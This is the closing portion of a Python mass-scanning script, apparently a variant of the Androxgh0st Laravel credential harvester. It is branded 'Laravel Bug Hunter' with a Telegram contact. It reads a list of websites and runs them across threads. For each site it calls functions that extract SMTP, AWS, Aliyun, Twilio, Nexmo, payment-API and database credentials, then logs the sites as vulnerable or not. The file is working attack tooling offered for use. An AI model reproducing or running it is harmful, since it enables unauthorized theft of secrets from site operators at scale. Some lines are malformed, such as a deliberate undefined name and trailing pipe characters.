save3 = open('Results/logsites/vulnerable.txt','a')
save3.write(remover2+'\n')
save3.close()
manual = androxgh0st().get_manual(resp, url)
getappkey = androxgh0st().get_appkey(resp, url)
getaliyun1 = androxgh0st().get_aliyun1(resp, url)
getaliyun2 = androxgh0st().get_aliyun2(resp, url)
getaliyun3 = androxgh0st().get_aliyun3(resp, url)
getaliyun4 = androxgh0st().get_aliyun4(resp, url)
getaliyun5 = androxgh0st().get_aliyun5(resp, url)
getaliyun6 = androxgh0st().get_aliyun6(resp, url)
getaliyun7 = androxgh0st().get_aliyun7(resp, url)
getaliyun8 = androxgh0st().get_aliyun8(resp, url)
getaliyun9 = androxgh0st().get_aliyun9(resp, url)
getaliyun10 = androxgh0st().get_aliyun10(resp, url)
getaliyun11 = androxgh0st().get_aliyun11(resp, url)
getaliyun12 = androxgh0st().get_aliyun12(resp, url)
getaliyun13 = androxgh0st().get_aliyun13(resp, url)
getaliyun14 = androxgh0st().get_aliyun14(resp, url)
getaliyun15 = androxgh0st().get_aliyun15(resp, url)
getsmtp = androxgh0st().get_smtp(resp, url)
getwtilio = androxgh0st().get_twillio(resp, url)
smsapi = androxgh0st().get_nexmo(resp, url)
getaws = androxgh0st().get_aws_data(resp, url)
getpp = androxgh0st().payment_api(resp, url)
getdb = androxgh0st().get_database(resp, url)
if getsmtp:
text += ' | \033[32;1mSMTP\033[0m'
else:
text += ' | \033[31;1mSMTP\033[0m'
if getaws:
text += ' | \033[32;1mAWS\033[0m'
else:
text += ' | \033[31;1mAWS\033[0m'
if getwtilio:
text += ' | \033[32;1mTWILIO\033[0m'
else:
text += ' | \033[31;1mTWILIO\033[0m'
if smsapi:
text += ' | \033[32;1mSMS API\033[0m'
else:
text += ' | \033[31;1mSMS API\033[0m'
if getpp:
text += ' | \033[32;1mPAYMENT API\033[0m'
else:
text += ' | \033[31;1mPAYMENT API\033[0m'
if getdb:
text += ' | \033[32;1mDATABASE\033[0m'
else:
text += ' | \033[31;1mDATABASE\033[0m'
else:
text += ' | \033[31;1mCan\'t get everything\033[0m'
save = open('Results/logsites/not_vulnerable.txt','a')
asu = str(url).replace('\r', '')
save.write(asu+'\n')
save.close()
except:
text = '\033[31;1m#\033[0m '+url
text += ' | \033[31;1mCan\'t access sites\033[0m'
save = open('Results/logsites/exception_sites.txt','a')
asu = str(url).replace('\r', '')
save.write(asu+'\n')
save.close()
printf(text)
if __name__ == '__main__':
print('''
_ _ _ _ _ _
| | | (_) (_) | | |
_ __ ___ ___ | |__ ___ __| |_ __ _ _| |_ __ _| |
| '_ ` _ \ / _ \| '_ \ / _ \ / _` | |/ _` | | __/ _` | |
| | | | | | (_) | |_) | (_) | (_| | | (_| | | || (_| | |
|_| |_| |_|\___/|_.__/ \___/ \__,_|_|\__, |_|\__\__,_|_|
__/ |
|___/
#Laravel Bug Hunter
Telegram:@mobodigital
SMTP Collector \n''')
try:
readcfg = ConfigParser()
readcfg.read(pid_restore)
lists = readcfg.get('DB', 'FILES')
numthread = readcfg.get('DB', 'THREAD')
sessi = readcfg.get('DB', 'SESSION')
print("log session bot found! restore session")
print(('''Using Configuration :\n\tFILES='''+lists+'''\n\tTHREAD='''+numthread+'''\n\tSESSION='''+sessi))
tanya = input("Want to continue session ? [Y/n] ")
if "Y" in tanya or "y" in tanya:
lerr = open(lists).read().split("\n"+sessi)[1]
readsplit = lerr.splitlines()
else:
kntl # Send Error Biar Lanjut Ke Wxception :v
except:
try:
lists = sys.argv[1]
numthread = sys.argv[2]
readsplit = open(lists).read().splitlines()
except:
try:
lists = input("websitelist ? ")
readsplit = open(lists).read().splitlines()
except:
print("\nWrong input or list not found!")
exit()
try:
numthread = input("threads ? ")
except:
print("\nWrong thread number!")
exit()
pool = ThreadPool(int(numthread))
for url in readsplit:
if "://" in url:
url = url
else:
url = "http://"+url
if url.endswith('/'):
url = url[:-1]
jagases = url
try:
pool.add_task(main, url)
except KeyboardInterrupt:
session = open(pid_restore, 'w')
cfgsession = "[DB]\nFILES="+lists+"\nTHREAD="+str(numthread)+"\nSESSION="+jagases+"\n"
session.write(cfgsession)
session.close()
print("CTRL+C Detect, Session saved")
exit()
pool.wait_completion()
try:
os.remove(pid_restore)
except:
pass | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |